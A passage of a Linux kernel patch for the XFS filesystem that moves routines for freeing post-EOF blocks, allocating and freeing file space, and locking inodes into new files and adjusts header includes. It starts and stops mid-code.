+xfs_can_free_eofblocks(struct xfs_inode *ip, bool force) +{ + /* prealloc/delalloc exists only on regular files */ + if (!S_ISREG(ip->i_d.di_mode)) + return false; + + /* + * Zero sized files with no cached pages and delalloc blocks will not + * have speculative prealloc/delalloc blocks to remove. + */ + if (VFS_I(ip)->i_size == 0 && + VN_CACHED(VFS_I(ip)) == 0 && + ip->i_delayed_blks == 0) + return false; + + /* If we haven't read in the extent list, then don't do it now. */ + if (!(ip->i_df.if_flags & XFS_IFEXTENTS)) + return false; + + /* + * Do not free real preallocated or append-only files unless the file + * has delalloc blocks and we are forced to remove them. + */ + if (ip->i_d.di_flags & (XFS_DIFLAG_PREALLOC | XFS_DIFLAG_APPEND)) + if (!force || ip->i_delayed_blks == 0) + return false; + + return true; +} + +/* + * This is called by xfs_inactive to free any blocks beyond eof + * when the link count isn't zero and by xfs_dm_punch_hole() when + * punching a hole to EOF. + */ +int +xfs_free_eofblocks( + xfs_mount_t *mp, + xfs_inode_t *ip, + bool need_iolock) +{ + xfs_trans_t *tp; + int error; + xfs_fileoff_t end_fsb; + xfs_fileoff_t last_fsb; + xfs_filblks_t map_len; + int nimaps; + xfs_bmbt_irec_t imap; + + /* + * Figure out if there are any blocks beyond the end + * of the file. If not, then there is nothing to do. + */ + end_fsb = XFS_B_TO_FSB(mp, (xfs_ufsize_t)XFS_ISIZE(ip)); + last_fsb = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); + if (last_fsb <= end_fsb) + return 0; + map_len = last_fsb - end_fsb; + + nimaps = 1; + xfs_ilock(ip, XFS_ILOCK_SHARED); + error = xfs_bmapi_read(ip, end_fsb, map_len, &imap, &nimaps, 0); + xfs_iunlock(ip, XFS_ILOCK_SHARED); + + if (!error && (nimaps != 0) && + (imap.br_startblock != HOLESTARTBLOCK || + ip->i_delayed_blks)) { + /* + * Attach the dquots to the inode up front. + */ + error = xfs_qm_dqattach(ip, 0); + if (error) + return error; + + /* + * There are blocks after the end of file. + * Free them up now by truncating the file to + * its current size. + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + + if (need_iolock) { + if (!xfs_ilock_nowait(ip, XFS_IOLOCK_EXCL)) { + xfs_trans_cancel(tp, 0); + return EAGAIN; + } + } + + error = xfs_trans_reserve(tp, 0, + XFS_ITRUNCATE_LOG_RES(mp), + 0, XFS_TRANS_PERM_LOG_RES, + XFS_ITRUNCATE_LOG_COUNT); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + if (need_iolock) + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + /* + * Do not update the on-disk file size. If we update the + * on-disk file size and then the system crashes before the + * contents of the file are flushed to disk then the files + * may be full of holes (ie NULL files bug). + */ + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, + XFS_ISIZE(ip)); + if (error) { + /* + * If we get an error at this point we simply don't + * bother truncating the file. + */ + xfs_trans_cancel(tp, + (XFS_TRANS_RELEASE_LOG_RES | + XFS_TRANS_ABORT)); + } else { + error = xfs_trans_commit(tp, + XFS_TRANS_RELEASE_LOG_RES); + if (!error) + xfs_inode_clear_eofblocks_tag(ip); + } + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + if (need_iolock) + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + } + return error; +} + +/* + * xfs_alloc_file_space() + * This routine allocates disk space for the given file. + * + * If alloc_type == 0, this request is for an ALLOCSP type + * request which will change the file size. In this case, no + * DMAPI event will be generated by the call. A TRUNCATE event + * will be generated later by xfs_setattr. + * + * If alloc_type != 0, this request is for a RESVSP type + * request, and a DMAPI DM_EVENT_WRITE will be generated if the + * lower block boundary byte address is less than the file's + * length. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +STATIC int +xfs_alloc_file_space( + xfs_inode_t *ip, + xfs_off_t offset, + xfs_off_t len, + int alloc_type, + int attr_flags) +{ + xfs_mount_t *mp = ip->i_mount; + xfs_off_t count; + xfs_filblks_t allocated_fsb; + xfs_filblks_t allocatesize_fsb; + xfs_extlen_t extsz, temp; + xfs_fileoff_t startoffset_fsb; + xfs_fsblock_t firstfsb; + int nimaps; + int quota_flag; + int rt; + xfs_trans_t *tp; + xfs_bmbt_irec_t imaps[1], *imapp; + xfs_bmap_free_t free_list; + uint qblocks, resblks, resrtextents; + int committed; + int error; + + trace_xfs_alloc_file_space(ip); + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + error = xfs_qm_dqattach(ip, 0); + if (error) + return error; + + if (len <= 0) + return XFS_ERROR(EINVAL); + + rt = XFS_IS_REALTIME_INODE(ip); + extsz = xfs_get_extsz_hint(ip); + + count = len; + imapp = &imaps[0]; + nimaps = 1; + startoffset_fsb = XFS_B_TO_FSBT(mp, offset); + allocatesize_fsb = XFS_B_TO_FSB(mp, count); + + /* + * Allocate file space until done or until there is an error + */ + while (allocatesize_fsb && !error) { + xfs_fileoff_t s, e; + + /* + * Determine space reservations for data/realtime. + */ + if (unlikely(extsz)) { + s = startoffset_fsb; + do_div(s, extsz); + s *= extsz; + e = startoffset_fsb + allocatesize_fsb; + if ((temp = do_mod(startoffset_fsb, extsz))) + e += temp; + if ((temp = do_mod(e, extsz))) + e += extsz - temp; + } else { + s = 0; + e = allocatesize_fsb; + } + + /* + * The transaction reservation is limited to a 32-bit block + * count, hence we need to limit the number of blocks we are + * trying to reserve to avoid an overflow. We can't allocate + * more than @nimaps extents, and an extent is limited on disk + * to MAXEXTLEN (21 bits), so use that to enforce the limit. + */ + resblks = min_t(xfs_fileoff_t, (e - s), (MAXEXTLEN * nimaps)); + if (unlikely(rt)) { + resrtextents = qblocks = resblks; + resrtextents /= mp->m_sb.sb_rextsize; + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + quota_flag = XFS_QMOPT_RES_RTBLKS; + } else { + resrtextents = 0; + resblks = qblocks = XFS_DIOSTRAT_SPACE_RES(mp, resblks); + quota_flag = XFS_QMOPT_RES_REGBLKS; + } + + /* + * Allocate and setup the transaction. + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + error = xfs_trans_reserve(tp, resblks, + XFS_WRITE_LOG_RES(mp), resrtextents, + XFS_TRANS_PERM_LOG_RES, + XFS_WRITE_LOG_COUNT); + /* + * Check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota_nblks(tp, ip, qblocks, + 0, quota_flag); + if (error) + goto error1; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_bmapi_write(tp, ip, startoffset_fsb, + allocatesize_fsb, alloc_type, &firstfsb, + 0, imapp, &nimaps, &free_list); + if (error) { + goto error0; + } + + /* + * Complete the transaction + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) { + goto error0; + } + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + if (error) { + break; + } + + allocated_fsb = imapp->br_blockcount; + + if (nimaps == 0) { + error = XFS_ERROR(ENOSPC); + break; + } + + startoffset_fsb += allocated_fsb; + allocatesize_fsb -= allocated_fsb; + } + + return error; + +error0: /* Cancel bmap, unlock inode, unreserve quota blocks, cancel trans */ + xfs_bmap_cancel(&free_list); + xfs_trans_unreserve_quota_nblks(tp, ip, (long)qblocks, 0, quota_flag); + +error1: /* Just cancel transaction */ + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* + * Zero file bytes between startoff and endoff inclusive. + * The iolock is held exclusive and no blocks are buffered. + * + * This function is used by xfs_free_file_space() to zero + * partial blocks when the range to free is not block aligned. + * When unreserving space with boundaries that are not block + * aligned we round up the start and round down the end + * boundaries and then use this function to zero the parts of + * the blocks that got dropped during the rounding. + */ +STATIC int +xfs_zero_remaining_bytes( + xfs_inode_t *ip, + xfs_off_t startoff, + xfs_off_t endoff) +{ + xfs_bmbt_irec_t imap; + xfs_fileoff_t offset_fsb; + xfs_off_t lastoffset; + xfs_off_t offset; + xfs_buf_t *bp; + xfs_mount_t *mp = ip->i_mount; + int nimap; + int error = 0; + + /* + * Avoid doing I/O beyond eof - it's not necessary + * since nothing can read beyond eof. The space will + * be zeroed when the file is extended anyway. + */ + if (startoff >= XFS_ISIZE(ip)) + return 0; + + if (endoff > XFS_ISIZE(ip)) + endoff = XFS_ISIZE(ip); + + bp = xfs_buf_get_uncached(XFS_IS_REALTIME_INODE(ip) ? + mp->m_rtdev_targp : mp->m_ddev_targp, + BTOBB(mp->m_sb.sb_blocksize), 0); + if (!bp) + return XFS_ERROR(ENOMEM); + + xfs_buf_unlock(bp); + + for (offset = startoff; offset <= endoff; offset = lastoffset + 1) { + offset_fsb = XFS_B_TO_FSBT(mp, offset); + nimap = 1; + error = xfs_bmapi_read(ip, offset_fsb, 1, &imap, &nimap, 0); + if (error || nimap < 1) + break; + ASSERT(imap.br_blockcount >= 1); + ASSERT(imap.br_startoff == offset_fsb); + lastoffset = XFS_FSB_TO_B(mp, imap.br_startoff + 1) - 1; + if (lastoffset > endoff) + lastoffset = endoff; + if (imap.br_startblock == HOLESTARTBLOCK) + continue; + ASSERT(imap.br_startblock != DELAYSTARTBLOCK); + if (imap.br_state == XFS_EXT_UNWRITTEN) + continue; + XFS_BUF_UNDONE(bp); + XFS_BUF_UNWRITE(bp); + XFS_BUF_READ(bp); + XFS_BUF_SET_ADDR(bp, xfs_fsb_to_db(ip, imap.br_startblock)); + xfsbdstrat(mp, bp); + error = xfs_buf_iowait(bp); + if (error) { + xfs_buf_ioerror_alert(bp, + "xfs_zero_remaining_bytes(read)"); + break; + } + memset(bp->b_addr + + (offset - XFS_FSB_TO_B(mp, imap.br_startoff)), + 0, lastoffset - offset + 1); + XFS_BUF_UNDONE(bp); + XFS_BUF_UNREAD(bp); + XFS_BUF_WRITE(bp); + xfsbdstrat(mp, bp); + error = xfs_buf_iowait(bp); + if (error) { + xfs_buf_ioerror_alert(bp, + "xfs_zero_remaining_bytes(write)"); + break; + } + } + xfs_buf_free(bp); + return error; +} + +/* + * xfs_free_file_space() + * This routine frees disk space for the given file. + * + * This routine is only called by xfs_change_file_space + * for an UNRESVSP type call. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +STATIC int +xfs_free_file_space( + xfs_inode_t *ip, + xfs_off_t offset, + xfs_off_t len, + int attr_flags) +{ + int committed; + int done; + xfs_fileoff_t endoffset_fsb; + int error; + xfs_fsblock_t firstfsb; + xfs_bmap_free_t free_list; + xfs_bmbt_irec_t imap; + xfs_off_t ioffset; + xfs_extlen_t mod=0; + xfs_mount_t *mp; + int nimap; + uint resblks; + xfs_off_t rounding; + int rt; + xfs_fileoff_t startoffset_fsb; + xfs_trans_t *tp; + int need_iolock = 1; + + mp = ip->i_mount; + + trace_xfs_free_file_space(ip); + + error = xfs_qm_dqattach(ip, 0); + if (error) + return error; + + error = 0; + if (len <= 0) /* if nothing being freed */ + return error; + rt = XFS_IS_REALTIME_INODE(ip); + startoffset_fsb = XFS_B_TO_FSB(mp, offset); + endoffset_fsb = XFS_B_TO_FSBT(mp, offset + len); + + if (attr_flags & XFS_ATTR_NOLOCK) + need_iolock = 0; + if (need_iolock) { + xfs_ilock(ip, XFS_IOLOCK_EXCL); + /* wait for the completion of any pending DIOs */ + inode_dio_wait(VFS_I(ip)); + } + + rounding = max_t(xfs_off_t, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + error = -filemap_write_and_wait_range(VFS_I(ip)->i_mapping, + ioffset, -1); + if (error) + goto out_unlock_iolock; + truncate_pagecache_range(VFS_I(ip), ioffset, -1); + + /* + * Need to zero the stuff we're not freeing, on disk. + * If it's a realtime file & can't use unwritten extents then we + * actually need to zero the extent edges. Otherwise xfs_bunmapi + * will take care of it for us. + */ + if (rt && !xfs_sb_version_hasextflgbit(&mp->m_sb)) { + nimap = 1; + error = xfs_bmapi_read(ip, startoffset_fsb, 1, + &imap, &nimap, 0); + if (error) + goto out_unlock_iolock; + ASSERT(nimap == 0 || nimap == 1); + if (nimap && imap.br_startblock != HOLESTARTBLOCK) { + xfs_daddr_t block; + + ASSERT(imap.br_startblock != DELAYSTARTBLOCK); + block = imap.br_startblock; + mod = do_div(block, mp->m_sb.sb_rextsize); + if (mod) + startoffset_fsb += mp->m_sb.sb_rextsize - mod; + } + nimap = 1; + error = xfs_bmapi_read(ip, endoffset_fsb - 1, 1, + &imap, &nimap, 0); + if (error) + goto out_unlock_iolock; + ASSERT(nimap == 0 || nimap == 1); + if (nimap && imap.br_startblock != HOLESTARTBLOCK) { + ASSERT(imap.br_startblock != DELAYSTARTBLOCK); + mod++; + if (mod && (mod != mp->m_sb.sb_rextsize)) + endoffset_fsb -= mod; + } + } + if ((done = (endoffset_fsb <= startoffset_fsb))) + /* + * One contiguous piece to clear + */ + error = xfs_zero_remaining_bytes(ip, offset, offset + len - 1); + else { + /* + * Some full blocks, possibly two pieces to clear + */ + if (offset < XFS_FSB_TO_B(mp, startoffset_fsb)) + error = xfs_zero_remaining_bytes(ip, offset, + XFS_FSB_TO_B(mp, startoffset_fsb) - 1); + if (!error && + XFS_FSB_TO_B(mp, endoffset_fsb) < offset + len) + error = xfs_zero_remaining_bytes(ip, + XFS_FSB_TO_B(mp, endoffset_fsb), + offset + len - 1); + } + + /* + * free file space until done or until there is an error + */ + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + while (!error && !done) { + + /* + * allocate and setup the transaction. Allow this + * transaction to dip into the reserve blocks to ensure + * the freeing of the space succeeds at ENOSPC. + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + error = xfs_trans_reserve(tp, + resblks, + XFS_WRITE_LOG_RES(mp), + 0, + XFS_TRANS_PERM_LOG_RES, + XFS_WRITE_LOG_COUNT); + + /* + * check for running out of space + */ + if (error) { + /* + * Free the transaction structure. + */ + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, + resblks, 0, XFS_QMOPT_RES_REGBLKS); + if (error) + goto error1; + + xfs_trans_ijoin(tp, ip, 0); + + /* + * issue the bunmapi() call to free the blocks + */ + xfs_bmap_init(&free_list, &firstfsb); + error = xfs_bunmapi(tp, ip, startoffset_fsb, + endoffset_fsb - startoffset_fsb, + 0, 2, &firstfsb, &free_list, &done); + if (error) { + goto error0; + } + + /* + * complete the transaction + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) { + goto error0; + } + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + out_unlock_iolock: + if (need_iolock) + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + return error; + + error0: + xfs_bmap_cancel(&free_list); + error1: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, need_iolock ? (XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL) : + XFS_ILOCK_EXCL); + return error; +} + + +STATIC int +xfs_zero_file_space( + struct xfs_inode *ip, + xfs_off_t offset, + xfs_off_t len, + int attr_flags) +{ + struct xfs_mount *mp = ip->i_mount; + uint granularity; + xfs_off_t start_boundary; + xfs_off_t end_boundary; + int error; + + granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); + + /* + * Round the range of extents we are going to convert inwards. If the + * offset is aligned, then it doesn't get changed so we zero from the + * start of the block offset points to. + */ + start_boundary = round_up(offset, granularity); + end_boundary = round_down(offset + len, granularity); + + ASSERT(start_boundary >= offset); + ASSERT(end_boundary <= offset + len); + + if (!(attr_flags & XFS_ATTR_NOLOCK)) + xfs_ilock(ip, XFS_IOLOCK_EXCL); + + if (start_boundary < end_boundary - 1) { + /* punch out the page cache over the conversion range */ + truncate_pagecache_range(VFS_I(ip), start_boundary, + end_boundary - 1); + /* convert the blocks */ + error = xfs_alloc_file_space(ip, start_boundary, + end_boundary - start_boundary - 1, + XFS_BMAPI_PREALLOC | XFS_BMAPI_CONVERT, + attr_flags); + if (error) + goto out_unlock; + + /* We've handled the interior of the range, now for the edges */ + if (start_boundary != offset) + error = xfs_iozero(ip, offset, start_boundary - offset); + if (error) + goto out_unlock; + + if (end_boundary != offset + len) + error = xfs_iozero(ip, end_boundary, + offset + len - end_boundary); + + } else { + /* + * It's either a sub-granularity range or the range spanned lies + * partially across two adjacent blocks. + */ + error = xfs_iozero(ip, offset, len); + } + +out_unlock: + if (!(attr_flags & XFS_ATTR_NOLOCK)) + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + return error; + +} + +/* + * xfs_change_file_space() + * This routine allocates or frees disk space for the given file. + * The user specified parameters are checked for alignment and size + * limitations. + * + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_change_file_space( + xfs_inode_t *ip, + int cmd, + xfs_flock64_t *bf, + xfs_off_t offset, + int attr_flags) +{ + xfs_mount_t *mp = ip->i_mount; + int clrprealloc; + int error; + xfs_fsize_t fsize; + int setprealloc; + xfs_off_t startoffset; + xfs_trans_t *tp; + struct iattr iattr; + + if (!S_ISREG(ip->i_d.di_mode)) + return XFS_ERROR(EINVAL); + + switch (bf->l_whence) { + case 0: /*SEEK_SET*/ + break; + case 1: /*SEEK_CUR*/ + bf->l_start += offset; + break; + case 2: /*SEEK_END*/ + bf->l_start += XFS_ISIZE(ip); + break; + default: + return XFS_ERROR(EINVAL); + } + + /* + * length of <= 0 for resv/unresv/zero is invalid. length for + * alloc/free is ignored completely and we have no idea what userspace + * might have set it to, so set it to zero to allow range + * checks to pass. + */ + switch (cmd) { + case XFS_IOC_ZERO_RANGE: + case XFS_IOC_RESVSP: + case XFS_IOC_RESVSP64: + case XFS_IOC_UNRESVSP: + case XFS_IOC_UNRESVSP64: + if (bf->l_len <= 0) + return XFS_ERROR(EINVAL); + break; + default: + bf->l_len = 0; + break; + } + + if (bf->l_start < 0 || + bf->l_start > mp->m_super->s_maxbytes || + bf->l_start + bf->l_len < 0 || + bf->l_start + bf->l_len >= mp->m_super->s_maxbytes) + return XFS_ERROR(EINVAL); + + bf->l_whence = 0; + + startoffset = bf->l_start; + fsize = XFS_ISIZE(ip); + + setprealloc = clrprealloc = 0; + switch (cmd) { + case XFS_IOC_ZERO_RANGE: + error = xfs_zero_file_space(ip, startoffset, bf->l_len, + attr_flags); + if (error) + return error; + setprealloc = 1; + break; + + case XFS_IOC_RESVSP: + case XFS_IOC_RESVSP64: + error = xfs_alloc_file_space(ip, startoffset, bf->l_len, + XFS_BMAPI_PREALLOC, attr_flags); + if (error) + return error; + setprealloc = 1; + break; + + case XFS_IOC_UNRESVSP: + case XFS_IOC_UNRESVSP64: + if ((error = xfs_free_file_space(ip, startoffset, bf->l_len, + attr_flags))) + return error; + break; + + case XFS_IOC_ALLOCSP: + case XFS_IOC_ALLOCSP64: + case XFS_IOC_FREESP: + case XFS_IOC_FREESP64: + /* + * These operations actually do IO when extending the file, but + * the allocation is done seperately to the zeroing that is + * done. This set of operations need to be serialised against + * other IO operations, such as truncate and buffered IO. We + * need to take the IOLOCK here to serialise the allocation and + * zeroing IO to prevent other IOLOCK holders (e.g. getbmap, + * truncate, direct IO) from racing against the transient + * allocated but not written state we can have here. + */ + xfs_ilock(ip, XFS_IOLOCK_EXCL); + if (startoffset > fsize) { + error = xfs_alloc_file_space(ip, fsize, + startoffset - fsize, 0, + attr_flags | XFS_ATTR_NOLOCK); + if (error) { + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + break; + } + } + + iattr.ia_valid = ATTR_SIZE; + iattr.ia_size = startoffset; + + error = xfs_setattr_size(ip, &iattr, + attr_flags | XFS_ATTR_NOLOCK); + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + + if (error) + return error; + + clrprealloc = 1; + break; + + default: + ASSERT(0); + return XFS_ERROR(EINVAL); + } + + /* + * update the inode timestamp, mode, and prealloc flag bits + */ + tp = xfs_trans_alloc(mp, XFS_TRANS_WRITEID); + + if ((error = xfs_trans_reserve(tp, 0, XFS_WRITEID_LOG_RES(mp), + 0, 0, 0))) { + /* ASSERT(0); */ + xfs_trans_cancel(tp, 0); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); + + if ((attr_flags & XFS_ATTR_DMI) == 0) { + ip->i_d.di_mode &= ~S_ISUID; + + /* + * Note that we don't have to worry about mandatory + * file locking being disabled here because we only + * clear the S_ISGID bit if the Group execute bit is + * on, but if it was on then mandatory locking wouldn't + * have been enabled. + */ + if (ip->i_d.di_mode & S_IXGRP) + ip->i_d.di_mode &= ~S_ISGID; + + xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + } + if (setprealloc) + ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; + else if (clrprealloc) + ip->i_d.di_flags &= ~XFS_DIFLAG_PREALLOC; + + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + if (attr_flags & XFS_ATTR_SYNC) + xfs_trans_set_sync(tp); + return xfs_trans_commit(tp, 0); +} diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 004fe4b..a6d2077 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -21,6 +21,7 @@ /* Kernel only BMAP related definitions and functions */ struct xfs_bmbt_irec; +struct xfs_bmap_free_item; struct xfs_ifork; struct xfs_inode; struct xfs_mount; @@ -91,6 +92,16 @@ int xfs_bmap_last_extent(struct xfs_trans *tp, struct xfs_inode *ip, int whichfork, struct xfs_bmbt_irec *rec, int *is_empty); +/* preallocation and hole punch interface */ +int xfs_change_file_space(struct xfs_inode *ip, int cmd, + xfs_flock64_t *bf, xfs_off_t offset, + int attr_flags); + +/* EOF block manipulation functions */ +bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); +int xfs_free_eofblocks(struct xfs_mount *mp, struct xfs_inode *ip, + bool need_iolock); + xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); #endif /* __XFS_BMAP_UTIL_H__ */ diff --git a/fs/xfs/xfs_dfrag.c b/fs/xfs/xfs_dfrag.c index 815dace..b83d45f 100644 --- a/fs/xfs/xfs_dfrag.c +++ b/fs/xfs/xfs_dfrag.c @@ -35,7 +35,6 @@ #include "xfs_itable.h" #include "xfs_dfrag.h" #include "xfs_error.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index c3263a5..841933c 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -35,7 +35,6 @@ #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2}; diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 7ef6b0f..7fe2b8f 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -63,12 +63,6 @@ extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); /* - * Direct call on directory open, before entering the readdir code. - */ -extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, - xfs_dablk_t bno, xfs_daddr_t mapped_bno); - -/* * Interface routines used by userspace utilities */ extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 807eb65..6d2a99c2 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -45,6 +45,8 @@ extern int xfs_dir2_leaf_to_block(struct xfs_da_args *args, extern int __xfs_dir3_data_check(struct xfs_inode *dp, struct xfs_buf *bp); extern int xfs_dir3_data_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mapped_bno, struct xfs_buf **bpp); +extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, + xfs_dablk_t bno, xfs_daddr_t mapped_bno); extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, @@ -124,4 +126,8 @@ extern int xfs_dir2_sf_lookup(struct xfs_da_args *args); extern int xfs_dir2_sf_removename(struct xfs_da_args *args); extern int xfs_dir2_sf_replace(struct xfs_da_args *args); +/* xfs_dir2_readdir.c */ +extern int xfs_readdir(struct xfs_inode *dp, struct dir_context *ctx, + size_t bufsize); + #endif /* __XFS_DIR2_PRIV_H__ */ diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index 29c880f..066df42 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -26,7 +26,6 @@ #include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_export.h" -#include "xfs_vnodeops.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 1ba3c79..4c749ab 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -28,11 +28,12 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_error.h" -#include "xfs_vnodeops.h" #include "xfs_da_btree.h" #include "xfs_dir2_format.h" #include "xfs_dir2.h" +#include "xfs_dir2_priv.h" #include "xfs_ioctl.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index d9a4167..2abc945 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -32,12 +32,12 @@ #include "xfs_dinode.h" #include "xfs_error.h" #include "xfs_filestream.h" -#include "xfs_vnodeops.h" #include "xfs_inode_item.h" #include "xfs_quota.h" #include "xfs_trace.h" #include "xfs_fsops.h" #include "xfs_icache.h" +#include "xfs_bmap_util.h" #include #include diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 3f82f56..aec7f15 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -23,14 +23,19 @@ #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" +#include "xfs_trans_space.h" #include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_attr_sf.h" +#include "xfs_attr.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_buf_item.h" @@ -44,10 +49,10 @@ #include "xfs_utils.h" #include "xfs_quota.h" #include "xfs_filestream.h" -#include "xfs_vnodeops.h" #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_icache.h" +#include "xfs_symlink.h" kmem_zone_t *xfs_inode_zone; @@ -307,6 +312,188 @@ xfs_isilocked( } #endif +#ifdef DEBUG +int xfs_locked_n; +int xfs_small_retries; +int xfs_middle_retries; +int xfs_lots_retries; +int xfs_lock_delays; +#endif + +/* + * Bump the subclass so xfs_lock_inodes() acquires each lock with + * a different value + */ +static inline int +xfs_lock_inumorder(int lock_mode, int subclass) +{ + if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) + lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_IOLOCK_SHIFT; + if (lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) + lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_ILOCK_SHIFT; + + return lock_mode; +} + +/* + * The following routine will lock n inodes in exclusive mode. + * We assume the caller calls us with the inodes in i_ino order. + * + * We need to detect deadlock where an inode that we lock + * is in the AIL and we start waiting for another inode that is locked + * by a thread in a long running transaction (such as truncate). This can + * result in deadlock since the long running trans might need to wait + * for the inode we just locked in order to push the tail and free space + * in the log. + */ +void +xfs_lock_inodes( + xfs_inode_t **ips, + int inodes, + uint lock_mode) +{ + int attempts = 0, i, j, try_lock; + xfs_log_item_t *lp; + + ASSERT(ips && (inodes >= 2)); /* we need at least two */ + + try_lock = 0; + i = 0; + +again: + for (; i < inodes; i++) { + ASSERT(ips[i]); + + if (i && (ips[i] == ips[i-1])) /* Already locked */ + continue; + + /* + * If try_lock is not set yet, make sure all locked inodes + * are not in the AIL. + * If any are, set try_lock to be used later. + */ + + if (!try_lock) { + for (j = (i - 1); j >= 0 && !try_lock; j--) { + lp = (xfs_log_item_t *)ips[j]->i_itemp; + if (lp && (lp->li_flags & XFS_LI_IN_AIL)) { + try_lock++; + } + } 